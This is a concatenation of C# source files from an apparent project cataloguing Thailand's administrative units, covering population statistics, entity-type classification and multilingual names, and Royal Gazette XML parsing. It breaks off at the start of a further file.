chkKhwaeng.Enabled = rbxTambonKhwaeng.Checked;
chkThesabanNakhon.Enabled = rbxThesaban.Checked;
chkThesabanMueang.Enabled = rbxThesaban.Checked;
chkThesabanTambon.Enabled = rbxThesaban.Checked;
chkTambonAdministrativeOrganization.Enabled = rbxThesaban.Checked;
}
/// <summary>
/// Fills <see cref="cbxChangwat"/> with the province entities.
/// </summary>
private void FillProvincesCombobox()
{
cbxChangwat.Items.Clear();
cbxChangwat.Items.Add(_country);
foreach ( var changwat in _country.entity )
{
cbxChangwat.Items.Add(changwat);
}
cbxChangwat.SelectedItem = _country;
}
/// <summary>
/// Refreshes <see cref="_baseEntity"/> from the selected item in <see cref="cbxChangwat"/>.
/// </summary>
private void UpdateBaseEntity()
{
var newBaseEntity = cbxChangwat.SelectedItem as Entity;
if ( newBaseEntity.type == EntityType.Country )
{
_baseEntity = _country;
}
else
{
_baseEntity = _country.entity.FirstOrDefault(x => x.geocode == newBaseEntity.geocode);
}
}
/// <summary>
/// Updates the calculated data.
/// </summary>
private void UpdateList()
{
IEnumerable<Entity> list = CalculateList();
IEnumerable<Tuple<UInt32, Int32, Double>> populationChanges = null;
if ( chkCompare.Checked )
{
populationChanges = CalcPopulationChanges(list, Convert.ToInt16(edtCompareYear.Value));
}
FillListView(list, populationChanges);
FrequencyCounter counter = new FrequencyCounter();
foreach ( var entity in list )
{
var populationData = entity.GetPopulationDataPoint(PopulationDataSource, PopulationReferenceYear);
counter.IncrementForCount(populationData.total, entity.geocode);
}
StringBuilder builder = new StringBuilder();
builder.AppendFormat(CultureInfo.CurrentUICulture, "Total population: {0:##,###,##0}", counter.SumValue);
builder.AppendLine();
builder.AppendFormat(CultureInfo.CurrentUICulture, "Number of entities: {0}", counter.NumberOfValues);
builder.AppendLine();
builder.AppendFormat(CultureInfo.CurrentUICulture, "Mean population: {0:##,###,##0.0}", counter.MedianValue);
builder.AppendLine();
builder.AppendFormat(CultureInfo.CurrentUICulture, "Standard deviation: {0:##,###,##0.0}", counter.StandardDeviation);
builder.AppendLine();
if ( list.Any() )
{
var maxEntity = list.Last();
builder.AppendFormat(CultureInfo.CurrentUICulture, "Maximum population: {0:##,###,##0} ({1} - {2})", counter.MaxValue, maxEntity.geocode, maxEntity.english);
builder.AppendLine();
var minEntity = list.First();
builder.AppendFormat(CultureInfo.CurrentUICulture, "Minimum population: {0:##,###,##0} ({1} - {2})", counter.MinValue, minEntity.geocode, minEntity.english);
builder.AppendLine();
}
if ( (populationChanges != null) && (populationChanges.Any(x => x.Item2 != 0)) )
{
builder.AppendLine();
var ordered = populationChanges.OrderBy(x => x.Item2);
var winner = ordered.Last();
var winnerEntry = list.First(x => x.geocode == winner.Item1);
var looser = ordered.First();
var looserEntry = list.First(x => x.geocode == looser.Item1);
builder.AppendFormat(CultureInfo.CurrentUICulture, "Biggest winner: {0:##,###,##0} by {1} ({2})", winner.Item2, winnerEntry.english, winner.Item1);
builder.AppendLine();
builder.AppendFormat(CultureInfo.CurrentUICulture, "Biggest looser: {0:##,###,##0} by {1} ({2})", looser.Item2, looserEntry.english, looser.Item1);
builder.AppendLine();
}
if ( (populationChanges != null) && (populationChanges.Any(x => x.Item2 != 0)) )
{
builder.AppendLine();
var ordered = populationChanges.OrderBy(x => x.Item3);
var winner = ordered.Last();
var winnerEntry = list.First(x => x.geocode == winner.Item1);
var looser = ordered.First();
var looserEntry = list.First(x => x.geocode == looser.Item1);
builder.AppendFormat(CultureInfo.CurrentUICulture, "Biggest winner: {0:##0.00}% by {1} ({2})", winner.Item3, winnerEntry.english, winner.Item1);
builder.AppendLine();
builder.AppendFormat(CultureInfo.CurrentUICulture, "Biggest looser: {0:##0.00}% by {1} ({2})", looser.Item3, looserEntry.english, looser.Item1);
builder.AppendLine();
}
txtStatistics.Text = builder.ToString();
}
/// <summary>
/// Calculates the population changes.
/// </summary>
/// <param name="entityList">List of entities.</param>
/// <param name="year">Year with which the data shall be compared.</param>
/// <returns>Enumeration of population changes. For the <see cref="Tuple{T1, T2, T3}"/>, the values are the <see cref="Entity.geocode"/>, the difference in <see cref="PopulationDataPoint.total"/>total population</see> and the percentual change of total population.</returns>
private IEnumerable<Tuple<UInt32, Int32, Double>> CalcPopulationChanges(IEnumerable<Entity> entityList, Int16 year)
{
List<Tuple<UInt32, Int32, Double>> result = new List<Tuple<UInt32, Int32, Double>>();
if ( entityList.Any() )
{
foreach ( var entity in entityList )
{
if ( entity.geocode != 0 )
{
var currentEntry = entity.GetPopulationDataPoint(PopulationDataSource, PopulationReferenceYear);
var compareEntry = entity.GetPopulationDataPoint(PopulationDataSource, year);
if ( (compareEntry != null) && (compareEntry.total > 0) )
{
Int32 populationChange = currentEntry.total - compareEntry.total;
Double changePercent = 100.0 * populationChange / compareEntry.total;
result.Add(Tuple.Create(entity.geocode, populationChange, changePercent));
}
}
}
}
return result;
}
private IEnumerable<Entity> CalculateList()
{
List<Entity> list = new List<Entity>();
List<EntityType> entityTypes = new List<EntityType>();
var subItems = _baseEntity.FlatList().Where(x => !x.IsObsolete);
if ( rbx_Changwat.Checked )
{
entityTypes.Add(EntityType.Changwat);
entityTypes.Add(EntityType.Bangkok);
list.AddRange(subItems.Where(x => entityTypes.Contains(x.type)));
if ( entityTypes.Contains(_baseEntity.type) )
{
list.Add(_baseEntity);
}
}
else if ( rbxAmphoeKhet.Checked )
{
if ( chkAmphoe.Checked )
{
entityTypes.Add(EntityType.Amphoe);
entityTypes.Add(EntityType.KingAmphoe);
}
if ( chkKhet.Checked )
{
entityTypes.Add(EntityType.Khet);
}
list.AddRange(subItems.Where(x => entityTypes.Contains(x.type)));
}
else if ( rbxTambonKhwaeng.Checked )
{
if ( chkTambon.Checked )
{
entityTypes.Add(EntityType.Tambon);
}
if ( chkKhwaeng.Checked )
{
entityTypes.Add(EntityType.Khwaeng);
}
list.AddRange(subItems.Where(x => entityTypes.Contains(x.type)));
}
else if ( rbxThesaban.Checked )
{
if ( chkThesabanTambon.Checked )
{
entityTypes.Add(EntityType.ThesabanTambon);
}
if ( chkThesabanMueang.Checked )
{
entityTypes.Add(EntityType.ThesabanMueang);
}
if ( chkThesabanNakhon.Checked )
{
entityTypes.Add(EntityType.ThesabanNakhon);
}
if ( chkTambonAdministrativeOrganization.Checked )
{
entityTypes.Add(EntityType.TAO);
}
list.AddRange(_baseEntity.LocalGovernmentEntitiesOf(_localGovernments).Where(x => entityTypes.Contains(x.type)));
}
return list.Where(x => x.GetPopulationDataPoint(PopulationDataSource, PopulationReferenceYear) != null).OrderBy(x => x.GetPopulationDataPoint(PopulationDataSource, PopulationReferenceYear).total);
}
private void FillListView(IEnumerable<Entity> entityList, IEnumerable<Tuple<UInt32, Int32, Double>> compare)
{
lvData.BeginUpdate();
lvData.Items.Clear();
if ( entityList.Any() )
{
foreach ( var entity in entityList )
{
ListViewItem listViewItem = lvData.Items.Add(entity.english);
listViewItem.SubItems.Add(entity.name);
listViewItem.SubItems.Add(entity.geocode.ToString(CultureInfo.CurrentUICulture));
PopulationDataPoint populationDataPoint = entity.GetPopulationDataPoint(PopulationDataSource, PopulationReferenceYear);
listViewItem.SubItems.Add(populationDataPoint.total.ToString(CultureInfo.CurrentUICulture));
if ( compare != null )
{
var compareEntry = compare.FirstOrDefault(x => x.Item1 == entity.geocode);
if ( compareEntry != null )
{
listViewItem.SubItems.Add(compareEntry.Item2.ToString(CultureInfo.CurrentUICulture));
listViewItem.SubItems.Add(compareEntry.Item3.ToString("##0.00", CultureInfo.CurrentUICulture));
}
}
}
}
lvData.EndUpdate();
}
}
}<file_sep>/TambonMain/Extensions.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace De.AHoerstemeier.Tambon
{
/// <summary>
/// Extension methods for Tambon.
/// </summary>
public static class Extensions
{
private static IEnumerable<EntityType> _entityLocalGovernment = new List<EntityType>()
{
EntityType.Thesaban,
EntityType.ThesabanNakhon,
EntityType.ThesabanMueang,
EntityType.ThesabanTambon,
EntityType.Mueang,
EntityType.Sukhaphiban,
EntityType.TAO,
EntityType.PAO,
};
private static IEnumerable<OfficeType> _officeLocalGovernment = new List<OfficeType>()
{
OfficeType.MunicipalityOffice,
OfficeType.PAOOffice,
OfficeType.TAOOffice,
};
// TODO: Move to resource and make it translatable there
private static Dictionary<EntityType, Dictionary<Language, String>> _entityTranslations = new Dictionary<EntityType, Dictionary<Language, String>>()
{
{EntityType.Thesaban, new Dictionary<Language,String>(){
{Language.English,"municipality"},
{Language.German,"Stadt"},
{Language.Thai,"เทศบาล"}
}},
{EntityType.ThesabanTambon, new Dictionary<Language,String>(){
{Language.English,"subdistrict municipality"},
{Language.German,"Kleinstadt"},
{Language.Thai,"เทศบาลตำบล"}
}},
{EntityType.ThesabanMueang, new Dictionary<Language,String>(){
{Language.English,"town"},
{Language.German,"Stadt"},
{Language.Thai,"เทศบาลเมือง"}
}},
{EntityType.ThesabanNakhon, new Dictionary<Language,String>(){
{Language.English,"city"},
{Language.German,"Großstadt"},
{Language.Thai,"เทศบาลนคร"}
}},
{EntityType.Muban, new Dictionary<Language,String>(){
{Language.English,"village"},
{Language.German,"Dorf"},
{Language.Thai,"หมู่บ้าน"}
}},
{EntityType.Tambon, new Dictionary<Language,String>(){
{Language.English,"subdistrict"},
{Language.German,"Kommune"},
{Language.Thai,"ตำบล"},
{Language.French,"sous-district" }
}},
{EntityType.Khwaeng, new Dictionary<Language,String>(){
{Language.English,"subdistrict"},
{Language.German,"Unterbezirk"},
{Language.Thai,"แขวง"},
{Language.French,"sous-district" }
}},
{EntityType.Khet, new Dictionary<Language,String>(){
{Language.English,"district"},
{Language.German,"Bezirk"},
{Language.Thai,"เขต"}
}},
{EntityType.Amphoe, new Dictionary<Language,String>(){
{Language.English,"district"},
{Language.German,"Kreis"},
{Language.Thai,"อำเภอ"},
{Language.French,"district" }
}},
{EntityType.KingAmphoe, new Dictionary<Language,String>(){
{Language.English,"minor district"},
{Language.German,"Unterkreis"},
{Language.Thai,"กิ่งอำเภอ"},
{Language.French,"district mineur" }
}},
{EntityType.Changwat, new Dictionary<Language,String>(){
{Language.English,"province"},
{Language.German,"Provinz"},
{Language.Thai,"จังหวัด"},
{Language.French,"province" }
}},
{EntityType.Chumchon, new Dictionary<Language,String>(){
{Language.English,"borough"},
{Language.German,"Bezirk"},
{Language.Thai,"ชุมชน"}
}},
{EntityType.Sukhaphiban, new Dictionary<Language,String>(){
{Language.English,"sanitary district"},
{Language.German,"Sanitär-Bezirk"},
{Language.Thai,"สุขาภิบาล"}
}},
{EntityType.TAO, new Dictionary<Language,String>(){
{Language.English,"subdistrict administrative organization"},
{Language.German,"Kommunalverwaltungsorganisation"},
{Language.Thai,"องค์การบริหารส่วนตำบล"}
}},
{EntityType.PAO, new Dictionary<Language,String>(){
{Language.English,"provincial administrative organization"},
{Language.German,"Provinzverwaltungsorganisation"},
{Language.Thai,"องค์การบริหารส่วนจังหวัด"}
}},
};
/// <summary>
/// Checks whether a entity type is a local government unit.
/// </summary>
/// <param name="type">Entity type.</param>
/// <returns><c>true</c> if is a local government unit, <c>false</c> otherwise.</returns>
/// <remarks>Local government units are <see cref="EntityType.Thesaban"/> (<see cref="EntityType.ThesabanNakhon"/>, <see cref="EntityType.ThesabanMueang"/>, <see cref="EntityType.ThesabanTambon"/>),
/// <see cref="EntityType.Mueang"/>, <see cref="EntityType.TAO"/>, <see cref="EntityType.PAO"/> and <see cref="EntityType.Sukhaphiban"/>.
/// <see cref="EntityType.Bangkok"/> is not included here.
/// </remarks>
static public Boolean IsLocalGovernment(this EntityType type)
{
return _entityLocalGovernment.Contains(type);
}
/// <summary>
/// Checks whether a office type is a local government office.
/// </summary>
/// <param name="type">Office type.</param>
/// <returns><c>true</c> if is a local government office, <c>false</c> otherwise.</returns>
/// <remarks>Local government offices are <see cref="OfficeType.MunicipalityOffice"/>,
/// <see cref="OfficeType.PAOOffice"/> and <see cref="OfficeType.TAOOffice"/>.
/// </remarks>
static public Boolean IsLocalGovernmentOffice(this OfficeType type)
{
return _officeLocalGovernment.Contains(type);
}
private static IEnumerable<EntityType> _entitySakha = new List<EntityType>()
{
EntityType.Sakha,
EntityType.SakhaTambon,
EntityType.SakhaKhwaeng
};
/// <summary>
/// Checks whether a entity type is one of the branch types.
/// </summary>
/// <param name="type">Entity type.</param>
/// <returns><c>true</c> if is a branch administrative unit, <c>false</c> otherwise.</returns>
/// <remarks>Branch administrative units are <see cref="EntityType.Sakha"/>, <see cref="EntityType.SakhaTambon"/> and <see cref="EntityType.SakhaKhwaeng"/>.
/// </remarks>
static public Boolean IsSakha(this EntityType type)
{
return _entityLocalGovernment.Contains(type);
}
private static IEnumerable<EntityType> _entityProvince = new List<EntityType>()
{
EntityType.Changwat,
EntityType.Bangkok,
};
/// <summary>
/// Checks whether a entity type is a first level administrative unit.
/// </summary>
/// <param name="type">Entity type.</param>
/// <returns><c>true</c> if is a first level administrative unit, <c>false</c> otherwise.</returns>
/// <remarks>First level administrative units are <see cref="EntityType.Changwat"/> and <see cref="EntityType.Bangkok"/>.
/// </remarks>
static public Boolean IsFirstLevelAdministrativeUnit(this EntityType type)
{
return _entityProvince.Contains(type);
}
private static IEnumerable<EntityType> _entityDistrict = new List<EntityType>()
{
EntityType.Amphoe,
EntityType.KingAmphoe,
EntityType.Khet
};
/// <summary>
/// Checks whether a entity type is a second level administrative unit.
/// </summary>
/// <param name="type">Entity type.</param>
/// <returns><c>true</c> if is a second level administrative unit, <c>false</c> otherwise.</returns>
/// <remarks>Second level administrative units are <see cref="EntityType.Amphoe"/>, <see cref="EntityType.KingAmphoe"/> and <see cref="EntityType.Khet"/>,
/// or those covered by <see cref="IsLocalGovernment"/> or <see cref="IsSakha"/>.
/// </remarks>
static public Boolean IsSecondLevelAdministrativeUnit(this EntityType type)
{
return _entityDistrict.Contains(type) | type.IsLocalGovernment() | type.IsSakha();
}
private static IEnumerable<EntityType> _entitySubDistrict = new List<EntityType>()
{
EntityType.Tambon,
EntityType.Khwaeng
};
/// <summary>
/// Checks whether a entity type is a third level administrative unit.
/// </summary>
/// <param name="type">Entity type.</param>
/// <returns><c>true</c> if is a third level administrative unit, <c>false</c> otherwise.</returns>
/// <remarks>Third level administrative units are <see cref="EntityType.Tambon"/> and <see cref="EntityType.Khwaeng"/>.</remarks>
static public Boolean IsThirdLevelAdministrativeUnit(this EntityType type)
{
return _entitySubDistrict.Contains(type);
}
/// <summary>
/// Gets whether two entity types are at the same administrative level.
/// </summary>
/// <param name="value">Entity type.</param>
/// <param name="compare">Entity type to compare with.</param>
/// <returns><c>true</c> if both types are at same administrative level or equal, <c>false otherwise.</c></returns>
/// <remarks>The following combinations are tested.
/// <list type="bullet">
/// <item><description><see cref="EntityType.Bangkok"/> and <see cref="EntityType.Changwat"/>.</description></item>
/// <item><description><see cref="EntityType.Amphoe"/>, <see cref="EntityType.KingAmphoe"/>, <see cref="EntityType.Khet"/> and <see cref="EntityType.Sakha"/>.</description></item>
/// <item><description><see cref="EntityType.Tambon"/> and <see cref="EntityType.Khwaeng"/>.</description></item>
/// <item><description><see cref="EntityType.Thesaban"/>, <see cref="EntityType.ThesabanTambn"/>, <see cref="EntityType.ThesabanMueanmg"/> and <see cref="EntityType.ThesabanNakhon"/>.</description></item>
/// </list></remarks>
public static Boolean IsCompatibleEntityType(this EntityType value, EntityType compare)
{
Boolean result = false;
switch ( value )
{
case EntityType.Bangkok:
case EntityType.Changwat:
result = (compare == EntityType.Changwat) | (compare == EntityType.Bangkok);
break;
case EntityType.KingAmphoe:
case EntityType.Khet:
case EntityType.Sakha:
case EntityType.Amphoe:
result = (compare == EntityType.Amphoe) | (compare == EntityType.KingAmphoe) | (compare == EntityType.Khet) | (compare == EntityType.Sakha);
break;
case EntityType.Khwaeng:
case EntityType.Tambon:
result = compare.IsThirdLevelAdministrativeUnit();
break;
case EntityType.Thesaban:
case EntityType.ThesabanNakhon:
case EntityType.ThesabanMueang:
case EntityType.ThesabanTambon:
case EntityType.TAO:
case EntityType.Sukhaphiban:
case EntityType.Mueang:
result = compare == EntityType.Thesaban ||
compare == EntityType.ThesabanTambon ||
compare == EntityType.ThesabanMueang ||
compare == EntityType.ThesabanNakhon ||
compare == EntityType.Mueang ||
compare == EntityType.TAO ||
compare == EntityType.Sukhaphiban;
break;
default:
result = (value == compare);
break;
}
return result;
}
/// <summary>
/// Gets whether the entity type is at same level with one of the given values.
/// </summary>
/// <param name="value">Entity type.</param>
/// <param name="compare">Entity types to compare with.</param>
/// <returns><c>true</c> if at least one of the <paramref name="compare"/> types are at same administrative level or equal, <c>false otherwise.</c></returns>
/// <remarks>See <see cref="IsCompatibleEntityType{EntityType,EntityType}"/>.</remarks>
public static Boolean IsCompatibleEntityType(this EntityType value, IEnumerable<EntityType> compareValues)
{
Boolean result = false;
foreach ( var compare in compareValues )
{
result |= IsCompatibleEntityType(value, compare);
}
return result;
}
/// <summary>
/// Checks whether the given council size fits to the administrative type.
/// </summary>
/// <param name="value">Type of entity.</param>
/// <param name="size">Size of council.</param>
/// <returns><c>true</c> if council size is valid, <c>false</c> otherwise.</returns>
public static Boolean IsValidCouncilSize(this EntityType value, UInt32 size)
{
switch ( value )
{
case EntityType.TAO:
return (size % 2 == 0); // 2 councilors per Muban - this will also accept 0
case EntityType.ThesabanTambon:
return (size == 12);
case EntityType.ThesabanMueang:
return (size == 18);
case EntityType.ThesabanNakhon:
return (size == 24);
case EntityType.PAO:
return (size == 0) | ((size % 6 == 0) & (size >= 18) & (size <= 48));
case EntityType.Bangkok:
case EntityType.Khet:
case EntityType.SaphaTambon:
case EntityType.ProvinceCouncil:
case EntityType.Sukhaphiban:
case EntityType.Mueang:
return true; // no way to calculate correct size of council
default:
return false; // no council for that kind of entity
}
}
/// <summary>
/// Gets the length of a term for the given entity type.
/// </summary>
/// <param name="value">Type of entity.</param>
/// <returns>Length of term in years, <c>0</c> if undefined.</returns>
public static Byte TermLength(this EntityType value)
{
switch ( value )
{
case EntityType.TAO:
case EntityType.ThesabanTambon:
case EntityType.ThesabanMueang:
case EntityType.ThesabanNakhon:
case EntityType.PAO:
case EntityType.Bangkok:
case EntityType.Khet:
case EntityType.Mueang:
return 4;
case EntityType.ProvinceCouncil:
return 5;
case EntityType.SaphaTambon:
case EntityType.Sukhaphiban:
return 0; // don't know
default:
return 0; // no council for that kind of entity
}
}
public static String Translate(this EntityType value, Language language)
{
var result = String.Empty;
if ( _entityTranslations.ContainsKey(value) )
{
var subDictionary = _entityTranslations[value];
if ( subDictionary.ContainsKey(language) )
result = subDictionary[language];
}
return result;
}
public static String ToCode(this Language language)
{
switch ( language )
{
case Language.English:
return "en";
case Language.German:
return "de";
case Language.Thai:
return "th";
default:
return String.Empty;
}
}
}
}<file_sep>/AHTambon/RoyalGazetteContent.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml;
namespace De.AHoerstemeier.Tambon
{
public abstract class RoyalGazetteContent : ICloneable, IGeocode
{
protected List<RoyalGazetteContent> mSubEntries = new List<RoyalGazetteContent>();
#region properties
public Int32 Geocode { get; set; }
public Int32 TambonGeocode { get; set; }
public Int32 Owner { get; set; }
public String Name { get; set; }
public String English { get; set; }
#endregion
#region methods
virtual internal void DoLoad(XmlNode iNode)
{
if ( iNode != null )
{
Geocode = TambonHelper.GetAttributeOptionalInt(iNode, "geocode", 0);
TambonGeocode = TambonHelper.GetAttributeOptionalInt(iNode, "tambon", 0);
Name = TambonHelper.GetAttributeOptionalString(iNode, "name");
English = TambonHelper.GetAttributeOptionalString(iNode, "english");
Owner = TambonHelper.GetAttributeOptionalInt(iNode, "owner", 0);
foreach ( XmlNode lNode in iNode.ChildNodes )
{
var lContent = RoyalGazetteContent.CreateContentObject(lNode.Name);
if ( lContent != null )
{
lContent.DoLoad(lNode);
mSubEntries.Add(lContent);
}
}
}
}
protected virtual void DoCopy(RoyalGazetteContent iOther)
{
if ( iOther != null )
{
Geocode = iOther.Geocode;
TambonGeocode = iOther.TambonGeocode;
Owner = iOther.Owner;
Name = iOther.Name;
English = iOther.English;
}
foreach ( RoyalGazetteContent lContent in iOther.mSubEntries )
{
RoyalGazetteContent lNewContent = (RoyalGazetteContent)lContent.Clone();
mSubEntries.Add(lNewContent);
}
}
protected abstract String GetXmlLabel();
internal void ExportToXML(XmlNode iNode)
{
XmlDocument lXmlDocument = TambonHelper.XmlDocumentFromNode(iNode);
var lNewElement = (XmlElement)lXmlDocument.CreateNode("element", GetXmlLabel(), "");
WriteToXmlElement(lNewElement);
iNode.AppendChild(lNewElement);
}
virtual protected void WriteToXmlElement(XmlElement iElement)
{
if ( Geocode != 0 )
{
iElement.SetAttribute("geocode", Geocode.ToString());
}
if ( TambonGeocode != 0 )
{
iElement.SetAttribute("tambon", TambonGeocode.ToString());
}
if ( Owner != 0 )
{
iElement.SetAttribute("owner", Owner.ToString());
}
if ( !String.IsNullOrEmpty(Name) )
{
iElement.SetAttribute("name", Name.ToString());
}
if ( !String.IsNullOrEmpty(English) )
{
iElement.SetAttribute("english", English.ToString());
}
foreach ( RoyalGazetteContent lContent in mSubEntries )
{
lContent.ExportToXML(iElement);
}
}
static internal RoyalGazetteContent CreateContentObject(String iName)
{
RoyalGazetteContent retval = null;
switch ( iName )
{
case RoyalGazetteContentRename.XmlLabel:
{
retval = new RoyalGazetteContentRename();
break;
}
case RoyalGazetteContentStatus.XmlLabel:
{
retval = new RoyalGazetteContentStatus();
break;
}
case RoyalGazetteContentCreate.XmlLabel:
{
retval = new RoyalGazetteContentCreate();
break;
}
case RoyalGazetteContentAreaChange.XmlLabel:
{
retval = new RoyalGazetteContentAreaChange();
break;
}
case RoyalGazetteContentAreaDefinition.XmlLabel:
{
retval = new RoyalGazetteContentAreaDefinition();
break;
}
case RoyalGazetteContentReassign.XmlLabel:
{
retval = new RoyalGazetteContentReassign();
break;
}
case RoyalGazetteContentAbolish.XmlLabel:
{
retval = new RoyalGazetteContentAbolish();
break;
}
case RoyalGazetteContentConstituency.XmlLabel:
{
retval = new RoyalGazetteContentConstituency();
break;
}
case RoyalGazetteContentMention.XmlLabel:
{
retval = new RoyalGazetteContentMention();
break;
}
case RoyalGazetteContentCapital.XmlLabel:
{
retval = new RoyalGazetteContentCapital();
break;
}
}
return retval;
}
#endregion
#region ICloneable Members
public object Clone()
{
object lNewObject = Activator.CreateInstance(this.GetType());
RoyalGazetteContent lNewContent = lNewObject as RoyalGazetteContent;
lNewContent.DoCopy(this);
return lNewContent;
}
#endregion
#region IGeocode Members
public virtual Boolean IsAboutGeocode(Int32 iGeocode, Boolean iIncludeSubEntities)
{
Boolean retval = TambonHelper.IsSameGeocode(iGeocode, Geocode, iIncludeSubEntities);
retval = retval | TambonHelper.IsSameGeocode(iGeocode, Owner, iIncludeSubEntities);
retval = retval | TambonHelper.IsSameGeocode(iGeocode, TambonGeocode, iIncludeSubEntities);
foreach ( RoyalGazetteContent lContent in mSubEntries )
{
retval = retval | lContent.IsAboutGeocode(iGeocode, iIncludeSubEntities);
}
return retval;
}
#endregion
}
}
<file_sep>/AHTambon/RoyalGazetteContentConstituency.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml;
namespace De.AHoerstemeier.Tambon
{
class RoyalGazetteContentConstituency:RoyalGazetteContent
{
internal const String XmlLabel = "constituency";
#region properties
public EntityType Type
{
get;
set;
}
#endregion
#region constructor
public RoyalGazetteContentConstituency()
{
Type = EntityType.Unknown;
}
public RoyalGazetteContentConstituency(RoyalGazetteContentConstituency other)
{
DoCopy(other);
}
#endregion
#region methods
protected override String GetXmlLabel()
{
return XmlLabel;
}
override internal void DoLoad(XmlNode iNode)
{
base.DoLoad(iNode);
if (iNode != null && iNode.Name.Equals(XmlLabel))
{
string lTypeString = TambonHelper.GetAttributeOptionalString(iNode, "type");
if (!String.IsNullOrEmpty(lTypeString))
{
Type = (EntityType)Enum.Parse(typeof(EntityType), lTypeString);
}
}
}
override protected void WriteToXmlElement(XmlElement iElement)
{
base.WriteToXmlElement(iElement);
if (Type != EntityType.Unknown)
{
iElement.SetAttribute("type", Type.ToString());
}
}
protected override void DoCopy(RoyalGazetteContent iOther)
{
if (iOther != null)
{
base.DoCopy(iOther);
if (iOther is RoyalGazetteContentConstituency)
{
RoyalGazetteContentConstituency iOtherConstituency = (RoyalGazetteContentConstituency)iOther;
Type = iOtherConstituency.Type;
}
}
}
#endregion
}
}
<file_sep>/AHTambon/ConstituencyChecker.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
namespace De.AHoerstemeier.Tambon
{
public class ConstituencyChecker
{
private Int32 mGeocode;
public ConstituencyChecker(Int32 iGeocode)
{
mGeocode = iGeocode;
}
private static Boolean HasConstituencyAnnouncement(Int32 iGeocode, EntityType iType)
{
Boolean lSuccess = false;
foreach (RoyalGazette lGazette in TambonHelper.GlobalGazetteList.AllAboutEntity(iGeocode, false))
{
foreach (RoyalGazetteContent lContent in lGazette.Content)
{
if (lContent.IsAboutGeocode(iGeocode, false) && (lContent.GetType() == typeof(RoyalGazetteContentConstituency)))
{
lSuccess = lSuccess || (((RoyalGazetteContentConstituency)lContent).Type == iType);
}
}
}
return lSuccess;
}
public List<PopulationDataEntry> ThesabanWithoutConstituencies()
{
List<PopulationDataEntry> lResult = new List<PopulationDataEntry>();
PopulationData lGeocodes = TambonHelper.GetGeocodeList(mGeocode);
lGeocodes.ReOrderThesaban();
foreach (PopulationDataEntry lEntry in lGeocodes.Thesaban)
{
if (EntityTypeHelper.Thesaban.Contains(lEntry.Type) & (!lEntry.Obsolete))
{
Boolean lSuccess = HasConstituencyAnnouncement(lEntry.Geocode, lEntry.Type);
if ((!lSuccess) & (lEntry.GeocodeOfCorrespondingTambon != 0))
{
lSuccess = HasConstituencyAnnouncement(lEntry.GeocodeOfCorrespondingTambon, lEntry.Type);
}
if (!lSuccess)
{
lResult.Add(lEntry);
}
}
}
return lResult;
}
}
}
<file_sep>/AHTambon/RoyalGazetteContentMention.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
class RoyalGazetteContentMention:RoyalGazetteContent
{
internal const String XmlLabel = "mention";
protected override String GetXmlLabel()
{
return XmlLabel;
}
}
}
<file_sep>/TambonUI/MubanHelperForm.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
namespace De.AHoerstemeier.Tambon.UI
{
public partial class MubanHelperForm : Form
{
public Romanization Romanizator
{
get;
set;
}
public MubanHelperForm()
{
InitializeComponent();
}
private void btnConvert_Click(object sender, EventArgs e)
{
var entities = new List<Entity>();
UInt32 count = 0;
UInt32 baseGeocode = Convert.ToUInt32(edtGeocode.Value);
foreach ( var line in edtText.Lines )
{
var name = line.Replace('\t', ' ').Trim();
if ( !String.IsNullOrEmpty(name) )
{
count++;
var entityType = EntityType.Muban;
if ( chkStripBefore.Checked )
{
var startPosition = name.IndexOf(ThaiLanguageHelper.Ban);
if ( startPosition >= 0 )
{
name = name.Substring(startPosition);
}
if ( chkStripAfter.Checked )
{
name = name.Split(' ').First();
}
}
var entity = new Entity();
entity.name = name;
entity.type = entityType;
entity.geocode = baseGeocode * 100 + count;
entities.Add(entity);
}
}
if ( Romanizator != null )
{
List<RomanizationEntry> dummy;
var romanizations = Romanizator.FindRomanizationSuggestions(out dummy, entities);
foreach ( var entry in romanizations )
{
var entity = entities.First(x => x.geocode == entry.Geocode);
entity.english = entry.English;
}
}
StringBuilder mubanListBuilder = new StringBuilder();
foreach ( var entity in entities )
{
if ( !String.IsNullOrEmpty(entity.english) )
{
mubanListBuilder.AppendLine(String.Format("<entity type=\"{0}\" geocode=\"{1}\" name=\"{2}\" english=\"{3}\" />",
entity.type, entity.geocode, entity.name, entity.english));
}
else
{
mubanListBuilder.AppendLine(String.Format("<entity type=\"{0}\" geocode=\"{1}\" name=\"{2}\" />",
entity.type, entity.geocode, entity.name));
}
}
var form = new StringDisplayForm("Muban", mubanListBuilder.ToString());
form.Show();
}
private void btnAddBan_Click(object sender, EventArgs e)
{
StringBuilder builder = new StringBuilder();
foreach ( var line in edtText.Lines )
{
var value = line.Trim();
if ( !String.IsNullOrEmpty(value) )
{
if ( !value.StartsWith(ThaiLanguageHelper.Ban) )
{
value = ThaiLanguageHelper.Ban + value;
}
builder.AppendLine(value);
}
}
edtText.Text = builder.ToString();
}
private void cbxChangwat_SelectedValueChanged(object sender, EventArgs e)
{
var changwat = cbxChangwat.SelectedItem as Entity;
cbxAmphoe.Items.Clear();
if ( changwat != null )
{
cbxAmphoe.Items.AddRange(changwat.entity.Where(x => !x.IsObsolete && x.type.IsCompatibleEntityType(EntityType.Amphoe)).ToArray());
}
cbxAmphoe.SelectedItem = null;
}
private void MubanHelperForm_Load(object sender, EventArgs e)
{
cbxChangwat.Items.AddRange(GlobalData.CompleteGeocodeList().FlatList().Where(x => x.type.IsCompatibleEntityType(EntityType.Changwat)).ToArray());
}
private void cbxAmphoe_SelectedValueChanged(object sender, EventArgs e)
{
var amphoe = cbxAmphoe.SelectedItem as Entity;
cbxTambon.Items.Clear();
if ( amphoe != null )
{
cbxTambon.Items.AddRange(amphoe.entity.Where(x => !x.IsObsolete && x.type.IsCompatibleEntityType(EntityType.Tambon)).ToArray());
}
cbxTambon.SelectedItem = null;
}
private void cbxTambon_SelectedValueChanged(object sender, EventArgs e)
{
if ( cbxTambon.SelectedItem != null )
{
edtGeocode.Value = ((Entity)cbxTambon.SelectedItem).geocode;
}
}
}
}<file_sep>/UnitConverterForm.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
